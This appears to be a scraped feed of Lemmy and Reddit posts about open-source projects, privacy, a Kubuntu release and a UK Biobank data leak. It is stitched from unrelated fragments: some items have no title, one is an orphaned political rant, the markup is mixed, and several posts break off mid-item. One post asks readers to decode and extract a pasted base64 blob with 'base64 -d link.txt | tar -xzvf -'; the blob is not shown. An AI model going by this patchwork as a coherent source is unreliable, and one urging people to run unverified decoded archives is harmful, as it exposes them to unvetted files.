    <link rel="alternate" href="https://programming.dev/post/49470937" type="text/html"/>
    <content type="text">submitted by &lt;a href="https://programming.dev/u/mietkiewski_dev"&gt;mietkiewski_dev&lt;/a&gt; to &lt;a href="https://programming.dev/c/programming"&gt;programming&lt;/a&gt;&lt;br&gt;19 points | &lt;a href="https://programming.dev/post/49470937"&gt;13 comments&lt;/a&gt;&lt;p&gt;I was struggling to sit down and start my side projects, so I began reading more about productivity and motivation. Eventually I ended up writing a tiny Pomodoro timer for my terminal — mostly just to help myself get moving.&lt;/p&gt;
&lt;p&gt;It’s super minimal: you enter the title, work time, break time, and number of intervals. At the end it generates a simple session report and asks you to write your own conclusion. I like reading my own reports later, so I added that feature.&lt;/p&gt;
&lt;p&gt;I also enjoy reading short reports and summaries, so adding them felt natural.
And honestly, I prefer building simple tools myself rather than hunting for the “perfect” app.&lt;/p&gt;
&lt;p&gt;Works on Windows &amp;amp; Linux, needs only Python.&lt;/p&gt;

    <title>Easy Bus routes OSM (in Web editor) ?</title>
    <link rel="alternate" href="https://lemmy.ml/post/46446437" type="text/html"/>
    <content type="text">submitted by &lt;a href="https://lemmy.ca/u/iuvi"&gt;iuvi&lt;/a&gt; to &lt;a href="https://lemmy.ml/c/opensource"&gt;opensource&lt;/a&gt;&lt;br&gt;7 points | &lt;a href="https://lemmy.ml/post/46446437"&gt;2 comments&lt;/a&gt;&lt;p&gt;Hi!&lt;/p&gt;
&lt;p&gt;If there any guide how i can add bus route on OSM (in &lt;strong&gt;Web version&lt;/strong&gt; of editor) ?&lt;/p&gt;
&lt;p&gt;Seems now it’s quite complicated and yet there no plans to make it simpler in Web interface?&lt;/p&gt;
&lt;p&gt;If it would be like: you push “create route (bus or whatever)” -&amp;gt; choose road and select bus stops on it one way. Also, you do same from end stop to backward&lt;/p&gt;
&lt;p&gt;Really hope developers could do that favor 📿&lt;/p&gt;
&lt;p&gt;Thanks&lt;/p&gt;

    <title>We wrote "esperto-wiimote", a Wiimote remapper with good IR tracking and complex key combos</title>
    <link rel="alternate" href="https://lemmy.ml/post/46429669" type="text/html"/>
    <content type="text">submitted by &lt;a href="https://feddit.it/u/edinbruh"&gt;edinbruh&lt;/a&gt; to &lt;a href="https://lemmy.ml/c/opensource"&gt;opensource&lt;/a&gt;&lt;br&gt;74 points | &lt;a href="https://lemmy.ml/post/46429669"&gt;1 comments&lt;/a&gt;&lt;br&gt;&lt;a href="https://github.com/KayJay7/esperto-wiimote"&gt;https://github.com/KayJay7/esperto-wiimote&lt;/a&gt;&lt;p&gt;cross-posted from:  &lt;a href="https://feddit.it/post/28858403"&gt;feddit.it/post/28858403&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A friend and I wanted to use a Wiimote as a PC remote for movie night. We have tried various existing software, but all had some issues: some were old Xorg-only programs, some didn’t have proper IR tracking, and all were abandoned by the developer. But most of all, no software (even modern remappers like InputPlumber) had any support for key combos. So, we set out to write our own.&lt;/p&gt;
&lt;p&gt;Some of our requirements were:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Key combos (the wiimote has only few buttons)&lt;/li&gt;
&lt;li&gt;Proper IR tracking&lt;/li&gt;
&lt;li&gt;The ability to enable or disable the IR with a key combo&lt;/li&gt;
&lt;li&gt;Having no observable latency&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We first developed “esperto” a powerful system for describing and detecting key combos, which we implemented in &lt;a href="https://github.com/KayJay7/esperto" rel="nofollow"&gt;this library&lt;/a&gt;. It is generic so it can be used on pretty much anything that needs combo detection. At first, we intended to plug that into InputPlumber, but then decided it would be easier to do everything ourselves.&lt;/p&gt;
&lt;p&gt;So, we ported &lt;a href="https://gist.github.com/marcan/c7ca900d5191610957c478bbdbb516c0" rel="nofollow"&gt;this&lt;/a&gt; IR tracking algorithm from Hector Martin to rust, and put it together with our esperto library, and this is the result. It is extremely fast (mostly dominated by the actual latency of evdev’s and uinput’s UAPI), and it meets all of our requirements. And we already have ideas for future improvements, for example how to add support for wiimote extensions.&lt;/p&gt;
&lt;/blockquote&gt;

    <title>Kubuntu 26.04 LTS (Resolute Raccoon) Released</title>
    <link rel="alternate" href="https://lemmy.ml/post/46379163" type="text/html"/>
    <content type="text">submitted by &lt;a href="https://lemmy.ml/u/JRepin"&gt;JRepin&lt;/a&gt; to &lt;a href="https://lemmy.ml/c/opensource"&gt;opensource&lt;/a&gt;&lt;br&gt;16 points | &lt;a href="https://lemmy.ml/post/46379163"&gt;0 comments&lt;/a&gt;&lt;br&gt;&lt;a href="https://kubuntu.org/news/kubuntu-26-04-release-notes/"&gt;https://kubuntu.org/news/kubuntu-26-04-release-notes/&lt;/a&gt;&lt;p&gt;cross-posted from:  &lt;a href="https://lemmy.ml/post/46379162"&gt;lemmy.ml/post/46379162&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The Kubuntu team is thrilled to announce the release of &lt;strong&gt;&lt;a href="https://kubuntu.org/news/kubuntu-26-04-release-notes/" rel="nofollow"&gt;Kubuntu 26.04 LTS&lt;/a&gt;&lt;/strong&gt;, codenamed “Resolute Raccoon”! As a community-driven flavour of Ubuntu, Kubuntu continues its mission to deliver the cutting-edge KDE software ecosystem on top of Ubuntu’s rock-solid foundation. This Long-Term Support release, aligned with Ubuntu’s two-year LTS cycle, brings together the freshest stable KDE software with the reliability and security users depend on for years to come.&lt;/p&gt;
&lt;p&gt;Building on the Ubuntu 26.04 LTS base released today by Canonical, Kubuntu 26.04 introduces &lt;strong&gt;Plasma 6.6&lt;/strong&gt; as the flagship desktop environment, alongside &lt;strong&gt;Qt 6.10.2, KDE Frameworks 6.24.0&lt;/strong&gt;, and the latest &lt;strong&gt;KDE Gear 25.12.3&lt;/strong&gt; application suite. We’ve also upgraded to &lt;strong&gt;Linux kernel 7.0&lt;/strong&gt; for enhanced hardware support and performance. Whether you’re a developer, creator, or everyday user, this release emphasises Wayland maturity, modern security, and seamless integration with the open source world.&lt;/p&gt;
&lt;p&gt;Kubuntu 26.04 LTS will receive security updates and critical fixes through April 2029, making it an excellent choice for home users, schools, businesses, and anyone who values a dependable, beautiful desktop.&lt;/p&gt;
&lt;p&gt;Kubuntu remains completely free to download, use, and share—empowering our global community to innovate without barriers.&lt;/p&gt;
&lt;h1&gt;Four Exciting New Features for Kubuntu Users&lt;/h1&gt;
&lt;p&gt;Here are four standout enhancements that Kubuntu 26.04 LTS brings to your desktop:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Text Recognition in Spectacle&lt;/strong&gt;: Capture Text, Not Just Images Spectacle, KDE’s built-in screenshot tool, gains one of its most practical new capabilities in Plasma 6.6: built-in OCR text recognition. Capture any screenshot containing text—a document, a web page, an error dialog, a presentation slide—and Spectacle can analyse the image and convert the visible text into selectable, copyable content, right from within the app. No third-party tools required. Multi-language support means it works for users around the world, and the extracted text copies directly to your clipboard for immediate use. It’s the kind of small feature that quickly becomes indispensable.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;A New On-Screen Keyboard for Touch, Accessibility, and Beyond&lt;/strong&gt;: Plasma 6.6 introduces a fully integrated on-screen keyboard, making Kubuntu a much stronger choice for touchscreen devices, tablets, and users with accessibility needs. The keyboard supports multiple languages and layouts, adjusts its position intelligently to avoid covering input fields, and is easily accessible via the system tray or accessibility settings. It includes standard keys, function keys, and emoji support, and appears automatically when you tap a text input field on touch-enabled hardware. This addition reflects KDE’s ongoing commitment to making the desktop inclusive and usable for everyone.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Plasma Wayland - The Default, Fully Supported Session&lt;/strong&gt;: The Plasma Wayland session is the default and fully supported session in Kubuntu 26.04 LTS, delivering improved security, smoother rendering, and better HiDPI display support. For users who need it for legacy hardware or specific workflows, the plasma-session-x11 package remains available in the Ubuntu archive— but it is not installed by default and is not supported by the Kubuntu team.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Extensive Theming and Configuration Improvements&lt;/strong&gt;: Plasma 6.6 brings significant advances to theming and desktop configuration, giving users more expressive control over the look and feel of their environment than ever before. Custom global themes have been expanded, colour scheme handling has been refined throughout the shell and applications, and widget customisation options have been deepened across panels and the desktop. Whether you prefer a polished out-of-the-box experience or enjoy crafting every detail of your workspace, Resolute Raccoon gives you the tools to make Kubuntu truly your own.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;What’s New Under the Hood&lt;/h1&gt;
&lt;p&gt;Beyond these highlights, Kubuntu 26.04 LTS inherits Ubuntu’s robust platform upgrades:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Linux Kernel 7.0&lt;/strong&gt;: Updated from 6.8, the kernel now enables crash dumps by default on desktop installations, brings the new sched_ext scheduling system for hot-swappable eBPF-based schedulers, and retires the linux-lowlatency package in favour of a leaner lowlatency-kernel tuning approach on top of linux-generic.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;KDE Applications 25.12.3&lt;/strong&gt;: All KDE Gear applications have been updated to 25.12.3, a stable release, including Dolphin, Konsole, Okular, Kdenlive, and more.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Qt 6 Ecosystem&lt;/strong&gt;: Qt 6.10.2 and KDE Frameworks 6.24.0 power the desktop. Qt5 (5.15.1cool1.gif and KDE Frameworks 5 (5.116.0) legacy packages remain in the archive for applications that have not yet completed their Qt6 port.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Firefox 150 and LibreOffice 26.2&lt;/strong&gt;: Both core applications are updated, with Firefox delivered as a Snap from the Snap Store and LibreOffice included in the full installation.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;sudo-rs by default&lt;/strong&gt;: Ubuntu 26.04 LTS ships sudo-rs, a memory-safe Rust reimplementation of sudo, as the default sudo provider — improving security without changing everyday usage.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Rust-powered core utilities&lt;/strong&gt;: The core OS utilities are now provided by rust-coreutils, bringing performance improvements and memory safety to fundamental command-line tools.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;VA-API hardware video acceleration&lt;/strong&gt;: AMD and Intel users now get hardware-accelerated video encoding and decoding by default via the Video Acceleration API — great for media playback and video work.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Updated developer toolchain&lt;/strong&gt;: GCC 15.2, Python 3.14, Rust 1.93, Golang 1.26, LLVM 21, OpenJDK 25, and .NET 10 are all included and ready to use.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;APT 3.2&lt;/strong&gt;: The package manager gains a new dependency solver, OpenSSL-backed TLS, an automatic pager for commands like apt show and apt list and history and rollback commands like apt history-list or apt history-rollback, which were previously found only in separate apt-rollback tool.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This release marks another milestone in Kubuntu’s long journey as one of Ubuntu’s most beloved flavours. A huge thank you to our volunteer contributors, testers, bug reporters, and the upstream KDE and Ubuntu teams for making Resolute Raccoon a reality.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So. Because I’m an absolute idiot when I went out earlier I deleted all the video files off the card to make sure I had enough space for video of the ride… The video files I need for work from an event I ran yesterday.&lt;/p&gt;
&lt;p&gt;Any suggestions on open source recovery software?&lt;/p&gt;
&lt;p&gt;Preferably Linux but I can borrow a windows laptop if required.&lt;/p&gt;
&lt;p&gt;Thanks for any advice!&lt;/p&gt;

    <title>Private health records of half a million Britons offered for sale on Chinese website</title>
    <link rel="alternate" href="https://lemmy.ca/post/63789712" type="text/html"/>
    <content type="text">submitted by &lt;a href="https://mander.xyz/u/Sepia"&gt;Sepia&lt;/a&gt; to &lt;a href="https://lemmy.ca/c/privacy"&gt;privacy&lt;/a&gt;&lt;br&gt;17 points | &lt;a href="https://lemmy.ca/post/63789712"&gt;0 comments&lt;/a&gt;&lt;br&gt;&lt;a href="https://www.theguardian.com/technology/2026/apr/23/private-health-records-uk-biobank-chinese-website-alibaba"&gt;https://www.theguardian.com/technology/2026/apr/23/private-health-records-uk-biobank-chinese-website-alibaba&lt;/a&gt;&lt;p&gt;cross-posted from:  &lt;a href="https://mander.xyz/post/50953824"&gt;mander.xyz/post/50953824&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The confidential health records of half a million British volunteers have been offered for sale on Chinese website Alibaba, the UK government has confirmed.&lt;/p&gt;
&lt;p&gt;The data, belonging to participants in the UK Biobank project, was found for sale on three separate listings last week. The records have now been removed and it is not believed any sales were made.&lt;/p&gt;
&lt;p&gt;…&lt;/p&gt;
&lt;p&gt;Ian Murray, the technology minister, told the Commons: “On Monday 20 April, the UK Biobank charity informed the government that it had identified their data had been advertised for sale by several sellers on Alibaba’s e-commerce platforms in China.&lt;/p&gt;
&lt;p&gt;“Biobank told us that three listings that appear to sell … Biobank participation data had been identified. At least one of these three datasets appeared to contain data from all 500,000 UK Biobank volunteers.”&lt;/p&gt;
&lt;p&gt;The data found for sale was “de-identified”, meaning it does not include names, addresses or precise dates of birth.&lt;/p&gt;
&lt;p&gt;…&lt;/p&gt;
&lt;p&gt;The UK Biobank holds the health data of 500,000 volunteers, including genome sequences, brain scans, blood samples and diagnostic records. Scientists at universities and private companies across the world apply for access and, until late 2024, were free to download data directly on to their own computer systems – something that experts have repeatedly warned posed a security risk.&lt;/p&gt;
&lt;p&gt;…&lt;/p&gt;
&lt;p&gt;&lt;a href="https://web.archive.org/web/20260423134335/https://www.theguardian.com/technology/2026/apr/23/private-health-records-uk-biobank-chinese-website-alibaba" rel="nofollow"&gt;Web Archive link&lt;/a&gt;&lt;/p&gt;

    <title>ONYX: autostart, reactions, blocking.</title>
    <link rel="alternate" href="https://lemmy.ml/post/46326780" type="text/html"/>
    <content type="text">submitted by &lt;a href="https://lemmy.world/u/wardcore"&gt;wardcore&lt;/a&gt; to &lt;a href="https://lemmy.ml/c/opensource"&gt;opensource&lt;/a&gt;&lt;br&gt;12 points | &lt;a href="https://lemmy.ml/post/46326780"&gt;5 comments&lt;/a&gt;&lt;br&gt;&lt;a href="https://lemmy.ml/api/v3/image_proxy?url=https%3A%2F%2Flemmy.world%2Fpictrs%2Fimage%2F84475cc5-f1c3-40ef-a4fd-14c49ad57ace.jpeg"&gt;&lt;img src="https://lemmy.ml/api/v3/image_proxy?url=https%3A%2F%2Flemmy.world%2Fpictrs%2Fimage%2F84475cc5-f1c3-40ef-a4fd-14c49ad57ace.jpeg"/&gt;&lt;/a&gt;&lt;h1&gt;&lt;a href="https://github.com/wardcore-dev/onyx/releases" rel="nofollow"&gt;ONYX&lt;/a&gt; development update: v1.2a and v1.3-beta&lt;/h1&gt;
&lt;p&gt;A quick update on what’s changed since my last &lt;a href="https://lemmy.world/post/44954700" rel="nofollow"&gt;post&lt;/a&gt;. Two beta dropped over the past few weeks. I would like to share this here so that I can possibly find my audience.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;[1.2a-beta] — 2026-04-07&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Added&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Application autostart&lt;/strong&gt; — the app can now start automatically on system boot, Windows.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Message animations in external groups and channels&lt;/strong&gt; — animations were missing in external (self-hosted) instances, now consistent across all chat types&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Improved&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Editing and deleting messages in groups and channels&lt;/strong&gt; — this was broken or limited in non-external groups/channels, now works properly&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Fixed&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Favorite icon color display in edit mode&lt;/li&gt;
&lt;li&gt;Voice message duration display in send preview&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;[1.3-beta] — 2026-04-21&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Added&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Message reactions&lt;/strong&gt; — react to messages&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;User blocking&lt;/strong&gt; — block list and the ability to block individual users&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hide content in notifications&lt;/strong&gt; — shows “New message” instead of actual content on the lock screen&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PIN and biometric prompt when switching accounts&lt;/strong&gt; — multi-account users now need to authenticate when switching, prevents unauthorized access if someone has physical access to the device&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Relog notification&lt;/strong&gt; — notifies when session token is expiring instead of silently failing&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Video download progress&lt;/strong&gt; — progress indicator when downloading videos from the server&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;About the project&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://github.com/wardcore-dev/onyx/releases" rel="nofollow"&gt;ONYX&lt;/a&gt; is an open source messenger with E2EE private chats, LAN mode (works without internet via UDP broadcast), and self-hostable groups and channels.&lt;/p&gt;

    <title>Ice Privacy</title>
    <link rel="alternate" href="https://lemmy.world/post/45868745" type="text/html"/>
    <content type="text">submitted by &lt;a href="https://lemmy.zip/u/degooglerleon"&gt;degooglerleon&lt;/a&gt; to &lt;a href="https://lemmy.world/c/privacy"&gt;privacy&lt;/a&gt;&lt;br&gt;-17 points | &lt;a href="https://lemmy.world/post/45868745"&gt;10 comments&lt;/a&gt;&lt;br&gt;&lt;a href="https://lemmy.zip/pictrs/image/2aebf365-6c66-46ba-b08c-4944af7d4e74.avif"&gt;&lt;img src="https://lemmy.zip/pictrs/image/2aebf365-6c66-46ba-b08c-4944af7d4e74.avif"/&gt;&lt;/a&gt;&lt;p&gt;Currently, we already have some companies that offer us privacy-focused products, such as Proton, Tutanota, Mullvad, and others, but a short while ago I found one that I’ve never seen anyone talk about called Ice Privacy.
From what I’ve researched, they’ve been on this path since 2019 and currently have two services. The first is Ice Drive, a cloud drive that gives out 10GB for free (although I heard they reduced it to 3GB) and focuses on privacy, with features like end-to-end encryption and two-factor authentication. They store your files with zero-knowledge encryption, and they also offer lifetime plans.
The other product is Ice VPN. I admit I haven’t researched this one as much, but from what I’ve seen, it’s a VPN that promises to keep as little user data as possible (something like MullvadVPN), and the data they do obtain is stored with 256-bit encryption.
Their company is located in Gibraltar (a British Overseas Territory located in Europe), which has good privacy laws.
The point of this post is to ask you guys if you’ve ever heard of Ice Privacy?
I understand that when it comes to privacy, it’s good to choose companies that have been on the market for a long time and have the trust of their customers, but for a company to grow, someone needs to take the first step and use their products.
I’m not saying we should just go out and use all their products and join the company’s ecosystem, but rather that we should add it to our arsenal of defense weapons regarding privacy.
The only thing I didn’t find interesting is the fact that they don’t have Mastodon accounts or a community on Lemmy, and although they have subreddits for IceDrive and IceVPN, they aren’t mentioned on the company’s website (that is, if they are actually official).&lt;/p&gt;
&lt;p&gt;Knowing this information, will you give them a chance? If you’ve ever used any of their products, what did you think?&lt;/p&gt;
&lt;p&gt;Links for those who want to know more about the company:&lt;/p&gt;
&lt;p&gt;Company page:
&lt;a href="https://ice.gi/"&gt;ice.gi&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;IceDrive privacy policy:

    <title>Dynamic &amp; resilient git remotes with doink</title>

&lt;blockquote&gt;
&lt;p&gt;Hey, I made a thing! It’s called doink. Doink gives you dynamic git remotes by using DNS TXT records as pointers.&lt;/p&gt;
&lt;p&gt;I wrote a bit about how it works and what it’s useful for.&lt;/p&gt;
&lt;p&gt;Anyway, do you ever thing about how DNS is a basically a decentralized key-value database?
I think about it a lot :)&lt;/p&gt;
&lt;/blockquote&gt;

<p lang="en" dir="ltr">this is to appease single issue voters, such as crypto bros who if they see trump &quot;protecting one of their tribe&quot; they will support him politically ...</p>
<p lang="en" dir="ltr">its a psy-op and political theatre - and they are playing games with peoples lives in the process.</p>
<p lang="en" dir="ltr">trump doesn't really care but there is a vast amount of money and political power in controlling narratives, especially with big tech</p>
<p lang="en" dir="ltr">the worse the process of law looks and the more it oversteps, the more the trump administration can justify scrapping it ...</p>
<p lang="en" dir="ltr">its effective politics, unfortunately something the right uses all to often. take a system break it and replace it...</p>

    <content type="html">&lt;!-- SC_OFF --&gt;&lt;div class="md"&gt;&lt;p&gt;The OSE launches today, working on one of the biggest issues with #OpenSource #Sustainability around: &lt;strong&gt;funding&lt;/strong&gt;, especially for under-visible projects or independent communities or developers maintaining all those critical little bits &lt;em&gt;everyone&lt;/em&gt; uses &lt;em&gt;somewhere&lt;/em&gt;. Check it out; highly worth reading about if you follow the larger open source world. &lt;/p&gt; &lt;p&gt;----&lt;/p&gt; &lt;p&gt;Today we&amp;#39;re launching the &lt;a href="https://endowment.dev/"&gt;&lt;strong&gt;Open Source Endowment&lt;/strong&gt;&lt;/a&gt; (OSE), the world&amp;#39;s first endowment fund dedicated to sustainably funding critical open source software. It has $750K+ in committed capital from 60+ founding donors, including founders and executives of HashiCorp, Elastic, ClickHouse, Supabase, Sentry, n8n, NGINX, Vue.js, cURL, Pydantic, Gatsby, and Zerodha.&lt;/p&gt; &lt;p&gt;OSE is a US 501(c)(3) public charity. All donations are invested in a low-risk portfolio, and only the annual investment returns are used for OSS grants. Every dollar keeps working, year after year, in perpetuity.&lt;/p&gt; &lt;p&gt;Our endowment is governed by its donor community, and the core team includes board members Konstantin Vinogradov(founding chairman), Chad Whitacre, and Maxim Konovalov; executive director Jonathan Starr; and advisors Amy Parker, CFRE and Vlad-Stefan Harbuz.&lt;/p&gt; &lt;p&gt;Everyone is welcome to donate (US contributions are tax-deductible). Those giving $1,000+ become OSE Members with real governance rights: a vote on how funds are distributed, input on strategy, and the ability to elect future board directors as the organization grows.&lt;/p&gt; &lt;p&gt;None of this would be possible without our founding members, to whom we are grateful: Mitchell Hashimoto, Shay Banon, Jan Oberhauser, Daniel Stenberg, Kailash Nadh, Thomas Dohmke, Alexey Milovidov, Yuxi You, Tracy Hinds, Sam Bhagwat, Chris Aniszczyk, Paul Copplestone, and many more below.&lt;/p&gt; &lt;p&gt;Open source runs the modern world. It&amp;#39;s time we built something to sustain it. Donate, become a member, and help govern how funds reach the projects we all depend on. &lt;/p&gt; &lt;p&gt;----&lt;/p&gt; &lt;p&gt;Disclaimer: I am one of the original donors as well, and am a Member of their nonprofit.&lt;/p&gt; &lt;/div&gt;&lt;!-- SC_ON --&gt; &amp;#32; submitted by &amp;#32; &lt;a href="https://old.reddit.com/user/ShaneCurcuru"&gt; /u/ShaneCurcuru &lt;/a&gt; &lt;br/&gt; &lt;span&gt;&lt;a href="https://old.reddit.com/r/opensource/comments/1rffhog/open_source_endowment_funding_for_foss_launch/"&gt;[link]&lt;/a&gt;&lt;/span&gt; &amp;#32; &lt;span&gt;&lt;a href="https://old.reddit.com/r/opensource/comments/1rffhog/open_source_endowment_funding_for_foss_launch/"&gt;[comments]&lt;/a&gt;&lt;/span&gt;</content>

&lt;p&gt;Just a neat resource I found about LM and felt my fellow lemms might enjoy. Could be helpful if you know someone who is thinking of switching and looking for resources.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Not my channel&lt;/em&gt;.&lt;/p&gt;

    <title>Tenfingers Christmas Special Textlink Live Sharing Music and Video!</title>
    <link rel="alternate" href="https://lemmy.ml/post/40219371" type="text/html"/>
    <content type="text">submitted by &lt;a href="https://lemmy.world/u/Valmond"&gt;Valmond&lt;/a&gt; to &lt;a href="https://lemmy.ml/c/opensource_news"&gt;opensource_news&lt;/a&gt;&lt;br&gt;3 points | &lt;a href="https://lemmy.ml/post/40219371"&gt;0 comments&lt;/a&gt;&lt;br&gt;&lt;a href="https://lemmy.ml/api/v3/image_proxy?url=https%3A%2F%2Flemmy.world%2Fpictrs%2Fimage%2F3313a432-0220-4b38-92d5-d84afef81869.png"&gt;&lt;img src="https://lemmy.ml/api/v3/image_proxy?url=https%3A%2F%2Flemmy.world%2Fpictrs%2Fimage%2F3313a432-0220-4b38-92d5-d84afef81869.png"/&gt;&lt;/a&gt;&lt;p&gt;cross-posted from:  &lt;a href="https://lemmy.world/post/40088092"&gt;lemmy.world/post/40088092&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Edit: the Base64 text is just a “fun” way of representing the downloadable link (or so I thought). I think it is kind of interesting, having a text based format for the tenfingers links that you can share on a forum. I’m adding this as one user was concerned it was some sort of “virus”. Just for info, the cmd line rebuilds the file from the text, and it’s all filtered through browser security when you ‘use’ the file, so I doubt it can be harmful even if I tried to make it so. Valmond strikes as a genius marketeer again I guess :-/&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Hi everyone!&lt;/p&gt;
&lt;p&gt;This time I have a fun use case, sharing with a text link.&lt;/p&gt;
&lt;p&gt;Wait, come back! You won’t regret it, promise!&lt;/p&gt;
&lt;p&gt;To check it out:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;download the tenfingers downloader webpage here (the three first files, 1 html &amp;amp; 2 javascripts): &lt;a href="https://tenfingers.org/webentry/"&gt;tenfingers.org/webentry/&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Then instead of using the provided link on that page, copy paste this (see below) in a file link.txt, and run the command:&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;base64 -d link.txt | tar -xzvf - -C ./&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol start="3"&gt;
&lt;li&gt;
&lt;p&gt;Open the downloaded &lt;strong&gt;download.html&lt;/strong&gt; file, and select “Browse” to open the newly generated page1.10f file. It’s kind of slow especially the music and video links, please be patient!&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Profit!&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Happy sharing!&lt;/p&gt;
&lt;p&gt;/Valmond&lt;/p&gt;
&lt;p&gt;The text to be copied into the file link.txt:&lt;/p&gt;

          <content type="html"><![CDATA[<p lang="en" dir="ltr">&quot;Children’s Commissioner Rachel de Souza, a figure appointed by the government to represent children’s interests, told the BBC in August that access to VPNs was 'absolutely a loophole that needs closing.' Her office published a report calling for the software to be gated behind the same “highly effective age assurance” that people are using them to avoid.</p>
<p lang="en" dir="ltr">De Souza isn’t alone. The government has faced calls in the House of Lords to ask why VPNs weren’t taken into account in the first place, while a proposed amendment to the Children’s Wellbeing and Schools Bill would institute de Souza’s age-gating requirement.&quot;</p>

    <title>Tenfingers WEB links (WIP)</title>
    <link rel="alternate" href="https://lemmy.ml/post/38834128" type="text/html"/>
    <content type="text">submitted by &lt;a href="https://lemmy.world/u/Valmond"&gt;Valmond&lt;/a&gt; to &lt;a href="https://lemmy.ml/c/opensource_news"&gt;opensource_news&lt;/a&gt;&lt;br&gt;2 points | &lt;a href="https://lemmy.ml/post/38834128"&gt;0 comments&lt;/a&gt;&lt;p&gt;cross-posted from:  &lt;a href="https://lemmy.world/post/38655788"&gt;lemmy.world/post/38655788&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://tenfingers.org/" rel="nofollow"&gt;Tenfingers sharing protocol&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;To test out the tenfingers protocol in a real world use case, I made a small html/js entrypoint for tenfingers (.10f) files.&lt;/p&gt;
&lt;p&gt;Security is of course a concern with downloading things inside a javascript on a web page, so there are restrictions on how it can be used.&lt;/p&gt;
&lt;p&gt;If you want to try it out, and give some feedback I’d be quite happy!&lt;/p&gt;
&lt;p&gt;To do so:&lt;/p&gt;
&lt;p&gt;Go to &lt;a href="https://tenfingers.org/webentry/" rel="nofollow"&gt;this link&lt;/a&gt; where you can download the html &amp;amp; js code (3 files) and a tenfingers test link.&lt;/p&gt;
&lt;p&gt;Put them all in a temporary folder, and open the download.html file in your favorite browser, from there you can ‘load’ the 10f file.&lt;/p&gt;
&lt;p&gt;The code is slow, does not give much details of what’s happening (hit F12 and check the ‘console’ tab (Firefox, other browsers might vary) or just check CPU usage (decryption is slow) so please be patient.&lt;/p&gt;
&lt;p&gt;And please please report back, especially if something or nothing seems to work!&lt;/p&gt;
&lt;p&gt;Cheers &amp;amp; thanks!&lt;/p&gt;
&lt;p&gt;/Valmond&lt;/p&gt;
&lt;/blockquote&gt;

    <title>The first time I see F-Droid mentioned in a public infosec TG channel on russian of all languages</title>
    <link rel="alternate" href="https://lemmy.ml/post/37533621" type="text/html"/>
    <content type="text">submitted by &lt;a href="https://lemmy.dbzer0.com/u/altkey"&gt;altkey&lt;/a&gt; to &lt;a href="https://lemmy.ml/c/opensource_news"&gt;opensource_news&lt;/a&gt;&lt;br&gt;0 points | &lt;a href="https://lemmy.ml/post/37533621"&gt;0 comments&lt;/a&gt;&lt;br&gt;&lt;a href="https://t.me/cyberpolice_rus/4192"&gt;https://t.me/cyberpolice_rus/4192&lt;/a&gt;&lt;p&gt;Translation of the key fragment:&lt;/p&gt;
&lt;blockquote&gt;
